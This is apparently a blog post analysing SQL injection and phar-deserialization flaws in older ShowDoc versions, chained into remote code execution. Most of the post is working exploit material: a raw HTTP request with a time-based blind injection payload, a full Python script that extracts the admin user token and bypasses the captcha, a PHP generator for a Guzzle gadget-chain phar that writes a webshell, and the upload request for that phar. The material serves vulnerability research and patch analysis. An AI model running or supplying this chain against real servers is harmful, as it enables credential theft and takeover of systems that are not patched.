Post

ShowDoc Sql Injection and Remote Code Execution

Overview

ShowDoc is a versatile online documentation tool tailored for IT teams, perfect for creating beautiful API documents, tech manuals, and more using markdown. Its features include automated document generation from code comments or via the RunApi client, multi-platform support, and robust team collaboration tools. Widely adopted by over 100,000 internet teams, including major corporations, ShowDoc offers both public and private project options, extensive edit capabilities, and responsive design for easy access across devices.

Technical Analysis

The developers of ShowDoc fixed an SQL injection vulnerability in the pwd function related to the item_id parameter in server/Application/Api/Controller/ItemController.class.php in version v3.2.6[1]. They also fixed a deserialization vulnerability caused by the new_is_writeable function in server/Application/Home/Controller/IndexController.class.php in version v3.2.5[2].

Sql Injection

The pwd function in server/Application/Api/Controller/ItemController.class.php is vulnerable to SQL injection. The item_id parameter is not properly sanitized, allowing an attacker to inject arbitrary SQL code.

img.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function pwd() {
    $item_id = I("item_id");
    $page_id = I("page_id/d");
    $password = I("password");
    $refer_url = I('refer_url');
    $captcha_id = I("captcha_id");
    $captcha = I("captcha");

    //  -- snip --
    $item = D("Item")->where("item_id = '$item_id' ")->find();  // Sql Injection
    if ($password && $item['password'] == $password) {
        session("visit_item_" . $item_id, 1);
        $this->sendResult(array("refer_url" => base64_decode($refer_url)));
    } else {
        $this->sendError(10010, L('access_password_are_incorrect'));
    }
}

ShowDoc is a secondary development based on ThinkPHP3.2.3, which can directly obtain the value of item_id using I("item_id"). We can quickly set up a ShowDoc environment using Docker, as shown below, and send a POST request to test for SQL injection.

1
2
3
4
5
sudo docker run -d --name showdoc \                                
--user=root --privileged=true \  
-p 4999:80 \          
-v /showdoc_data/html:/var/www/html/ \
star7th/showdoc:v3.2.4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /server/index.php?s=/api/Item/pwd HTTP/1.1
Host: 192.168.32.128:4999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Encoding: gzip, deflate, br
Accept: application/json, text/plain, */*
Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.32.128:4999
Referer: http://192.168.32.128:4999/web/
Pragma: no-cache
Cache-Control: no-cache
Cookie: PHPSESSID=04d3132934531e78f6608229071059ac; think_language=en-US
Content-Length: 254

item_id=%27+OR+1%3D%28case+when%28substr%28%28select+token+from+user_token+where+uid%3D1%29%2C1%2C1%29%3D%272%27%29+then+randomblob%281000000000%29+else+0+end%29+OR%271%27%3D%271&page_id=123123&password=12312&refer_url=123123&captcha_id=6138&captcha=e863

And I have written a script to obtain the token through time-based blind injection and recognize the captcha through dddocr.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import time

import onnxruntime
import requests
import ddddocr

session = requests.session()

chars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
         'l',
         'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']

token = ['+'] * 64


def inject(url):
  global session
  i = 1
  while True:
    if i > 64:
      break
    for c in chars:
      captcha_str, captcha_id = show_captcha(url)
      burp0_url = f"{url}/server/index.php?s=/api/Item/pwd"
      burp0_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
        "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded",
        "Origin": url, "Connection": "keep-alive",
        "Referer": f"{url}/web/", "Pragma": "no-cache", "Cache-Control": "no-cache"}
      burp0_data = {
        "item_id": f"' OR 1=(case when(substr((select token from user_token where uid=1),{i},1)='{c}') then randomblob(1000000000) else 0 end) OR'1'='1",
        "page_id": "123123", "password": "12312", "refer_url": "123123", "captcha_id": captcha_id,
        "captcha": captcha_str}
      start_time = time.time()
      session.post(burp0_url, headers=burp0_headers, data=burp0_data)
      end_time = time.time()
      if end_time - start_time > 1:
        token[i - 1] = c
        print("".join(token))
        break
    if token[i - 1] == '+':
      time.sleep(5)
    else:
      i += 1
    time.sleep(1)


def create_captcha(url) -> str:
  global session
  burp0_url = f"{url}/server/index.php?s=/api/common/createCaptcha"
  burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
                   "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
                   "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded",
                   "Origin": url, "Connection": "keep-alive",
                   "Referer": f"{url}/web/"}
  try:
    res = session.post(burp0_url, headers=burp0_headers)
    data = res.json()
    if res.status_code == 200 and data['error_code'] == 0:
      return data['data']['captcha_id']
  except Exception as e:
    pass
  return ""


def captcha(img_bytes):
  ocr = ddddocr.DdddOcr(show_ad=False)
  onnxruntime.set_default_logger_severity(3)
  res = ocr.classification(img_bytes)
  return res


def show_captcha(url):
  global session
  captcha_id = create_captcha(url)
  burp0_url = f"{url}/server/index.php?s=/api/common/showCaptcha&captcha_id={captcha_id}"
  burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                   "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br",
                   "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Priority": "u=1"}
  try:
    res = session.get(burp0_url, headers=burp0_headers)
    if res.status_code == 200:
      return captcha(res.content), captcha_id
  except Exception as e:
    print(e)
  return None, None


if __name__ == '__main__':
  import sys

  inject(sys.argv[1])

# pip install ddddocr
# Example: python exp.py target_url

img.png

Deserialization

According to the patch information, it can be seen that new_is_writeable has been changed to private. Before the modification, it could be accessed via /server/index.php?s=/home/index/new_is_writeable&file=file_path, where the file parameter is controllable. This parameter accepts a file path and uses fopen to open it. img.png

So, we inject a phar file to trigger deserialization[5]. Phar files (PHP archives) contain metadata in serialized format, so during parsing, this metadata will be deserialized. You can try to exploit deserialization vulnerabilities in PHP code. The best thing about this feature is that deserialization will occur even with PHP functions that do not execute PHP code, such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize().

Then, we need a POP chain, which we can refer to [6]. Showdoc uses Guzzle, and we can generate a phar file using the following code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace GuzzleHttp\Cookie{
    class SetCookie{
        private $data=array();

        public function __construct(){
            $this->data = array(
                'Expires' => 1,
                'Discard' => null,
                'Value' => '<?php phpinfo();?>'
            );
        }
    }

    class CookieJar{
        private $strictMode = null;
        private $cookies =array();

        public function __construct(){
            $o = new SetCookie();
            $this->cookies = array($o);
        }

    }
    class FileCookieJar extends CookieJar{
        private $filename = '/var/www/html/Sqlite/shell.php';
    }
}

namespace{

    $obj = new GuzzleHttp\Cookie\FileCookieJar();
    @unlink('bb.phar');
    $phar = new Phar('bb.phar');
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($obj);
    $phar->addFromString("test.txt","test");
    $phar->stopBuffering();
}

File Upload

Finally, we can register an account (registration is enabled by default) and log in to the backend to upload the phar file, or use the aforementioned SQL injection vulnerability to obtain a user_token and upload the phar file via the /api/page/uploadImg API. img.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

POST /server/index.php?s=/api/page/uploadImg&user_token=9655f4241d296562d5d98dff872a6c2b6b81976620c90e0c2b0fdf9f8eeceb7d&guid=1718689767541 HTTP/1.1
Host: 192.168.32.128:4999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------59380597416901700852304980266
Content-Length: 748
Origin: http://192.168.32.128:4999
Connection: keep-alive
Referer: http://192.168.32.128:4999/web/
Upgrade-Insecure-Requests: 1
Priority: u=4

-----------------------------59380597416901700852304980266
Content-Disposition: form-data; name="editormd-image-file"; filename="test.png"
Content-Type: image/png

GIF89a<?php __HALT_COMPILER(); ?>
½

After we successfully upload the file, we can obtain the link to the file. Then, we access the new_is_writeable interface to trigger it.

img.png img.png img.png

Reference

[1] https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda

[2] https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

[3] https://www.cnblogs.com/CoLo/p/16786626.html#%E8%B7%AF%E7%94%B1

[4] https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md

[5] https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization

[6] https://github.com/ambionics/phpggc/blob/master/gadgetchains/Guzzle/FW/1/gadgets.php

This post is licensed under CC BY 4.0 by the author.

Trending Tags